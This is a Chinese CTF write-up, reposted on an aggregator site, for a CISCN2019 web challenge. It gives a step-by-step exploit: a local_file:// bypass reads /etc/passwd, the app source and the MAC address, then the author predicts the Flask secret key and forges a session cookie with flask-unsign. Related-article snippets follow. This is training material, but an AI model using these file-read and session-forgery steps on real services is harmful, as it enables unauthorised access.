BUU [CISCN2019 华东南赛区]Web4

2024-02-25 12:12
文章标签 ciscn2019 赛区 buu web4 华东

本文主要是介绍BUU [CISCN2019 华东南赛区]Web4,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

BUU [CISCN2019 华东南赛区]Web4

题目描述:Click to launch instance.

开题:

image-20231203030538490

点击链接,有点像SSRF

image-20231203030551174

使用local_file://协议读到本地文件,无法使用file://协议读取,有过滤。

image-20231203030849532

local_file://协议:

local_file://与file://类似,常用于绕过,可以直接读取本地文件内容

此外,不加协议,直接通过文件名读取文件也行。

/read?url=/etc/passwd

image-20231204163732895

读取后端源码:

/read?url=/app/app.py

源码如下:

import re, random, uuid, urllib
from flask import Flask, session, requestapp = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True@app.route('/')
def index():session['username'] = 'www-data'return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'@app.route('/read')
def read():try:url = request.args.get('url')m = re.findall('^file.*', url, re.IGNORECASE)n = re.findall('flag', url, re.IGNORECASE)if m or n:return 'No Hack'res = urllib.urlopen(url)return res.read()except Exception as ex:print str(ex)return 'no response'@app.route('/flag')
def flag():if session and session['username'] == 'fuck':return open('/flag.txt').read()else:return 'Access denied'if __name__=='__main__':app.run(debug=True,host="0.0.0.0")

注意print语句print str(ex),可以看出后端是python2。

/flag路由验证了session,若session中的usernamefuck,则返回flag。

session的密钥由random决定,random的seed是uuid.getnode()

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

对于伪随机数,如果seed是固定的,生成的随机数是可以预测的,也就是顺序固定的,所以只要知道seed的值即可。这里的seed使用的uuid.getnode()的值,该函数用于获取Mac地址并将其转换为整数。所以我们还需要读一下Mac地址。

Mac地址存贮在/sys/class/net/eth0/address

/read?url=local_file:///sys/class/net/eth0/address

得到Mac地址为:2e:44:62:0d:63:0a

image-20231204182610239

根据seed预测伪随机数得到key脚本:(python2跑)

import random
random.seed(0x2e44620d630a)
print(str(random.random()*233))

得到key是73.2021768198,不同人不一样。

我们使用flask-unsign工具来伪造session。

解密session:

flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZW2pEQ.-5oJLoBW97fPu-L4toFRwPeAwhE'

加密session:

flask-unsign --sign --cookie "{'username': b'fuck'}" --secret '73.2021768198' --no-literal-eval

得到eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.ZW2rIw.tPiShhd3WU6VOLoSrTgWQus8Pjc

image-20231204183509747

访问/flag路由,得到flag

image-20231204183626221

这篇关于BUU [CISCN2019 华东南赛区]Web4的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/745433

相关文章

2014年ACM/ICPC亚洲区现场赛广州赛区总结

本来不想提这件事的,后来学姐找我谈心时提到这件事,我突然意识到在这件事情上我错了一次,明明答应的去参加这场比赛,最后临时决定不去......其实中间有很多很多原因 1:我和tyh,sxk临时不去主要是广州太远,我们身上money不够,呵呵。。。别笑我们,你以为我们是高富帅啊,去一趟广州消费要2个月的生活费,奖学金又没发,你让我找我妈要她辛辛苦苦挣来的工资吗?!从哈尔滨到广州单来回的火车票每个人就

[CISCN2019 华东南赛区]Web111

考点: xff ssti 打开看到页面存在IP和XFF,右上角是咱们自己的IP 看到现在,可以想到尝试一下xff,当我们bp抓包后,添加xff,我们可以发现右上角的Current IP发生了变化,并且当我们输入什么他就会变成什么,这时候就应该想到ssti注入了 进行注入发现是Smarty 模板注入(好像页面下面也有提示"Bulid with Smarty",……不过没关系),可以

【构造共轭函数+矩阵快速幂】HDU 4565 So Easy! (2013 长沙赛区邀请赛)

【题目链接】 :click here~~ 【题目大意】:  A sequence Sn is defined as: Where a, b, n, m are positive integers.┌x┐is the ceil of x. For example, ┌3.14┐=4. You are to calculate Sn.   You, a top coder, say

【华东南AWDP】第十七届全国大学生信息安全竞赛 CISCN 2024 创新实践能力赛区域赛 部分题解WP

前言:这次区域赛AWDP安恒作为支持,赛制风格遵循安恒,一小时check一次。室温35°在室内坐了8小时,午饭是藿香正气水拌冰水。这场总体下来中规中矩吧。 WEB-welcome-BREAK Ctrl+U拿到flag WEB-submit-BREAK 文件上传,简单绕过 绕过就两个,一个MIMA头,一个等号换php(短标签) WEB-submit-FIX 修两个点,一个是

BUU CODE REVIEW 11 代码审计之反序列化知识

打开靶场,得到的是一段代码。 通过分析上面代码可以构造下面代码,获取到序列化之后的obj。 <?phpclass BUU {public $correct = "";public $input = "";public function __destruct() {try {$this->correct = base64_encode(uniqid());if($this->corre

2024全国大学生信息安全竞赛(ciscn)半决赛(西南赛区)Pwn题解

前言 前两天把华南赛区和东北赛区的Ciscn半决赛题目复现完了。 最近西南赛区半决赛也刚刚结束,找师傅要了Pwn题目,复现一下。 Pwn1-vuln 比较有意思的题目,构造很巧妙,call的函数地址指向栈顶变量地址。 使得我们可以构造16字节的read的shellcode实现任意大小shellcode读取。 逆向分析 签到题,程序逆向很简单,挺有意思的一个题目。拖入IDA分析:

hdu 2014西安赛区网络赛 5011Game

一做网络赛就感到压力十足  挤进前90  压力山大啊。。。  Game Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/65536 K (Java/Others) Total Submission(s): 72    Accepted Submission(s): 56 Problem Descripti

javaWeb4 Maven

Maven-管理和构建java项目的工具 基于POM的概念 1.依赖管理:管理项目依赖的jar包 ,避免版本冲突 2.统一项目结构:比如统一eclipse IDEA等开发工具 3.项目构建:标准跨平台的自动化项目构建方式。有标准构建流程,能快速 Maven: bin:可执行文件 mvn config:本地仓库等 lib:依赖资源 IDEA配置Maven 1.(当前工程) IDEA Fi

buu逆向-刮开有奖

首先查壳 拖到ida找到主函数 进入DialogFunc函数得到 INT_PTR __stdcall DialogFunc(HWND hDlg, UINT a2, WPARAM a3, LPARAM a4){const char *v4; // esiconst char *v5; // ediint v7[2]; // [esp+8h] [ebp-20030h] BYREFint v8;

自己测到的Buu IP

www.buu.edu.cn 210.82.53.210[北京市 北京联合大学] http://it.buu.edu.cn 210.82.53.210[北京市 北京联合大学] graduate.buu.edu.cn 210.82.53.210[北京市 北京联合大学] www.lib.buu.edu.cn 210.82.53.210[北京市 北京联合大学] jd.bu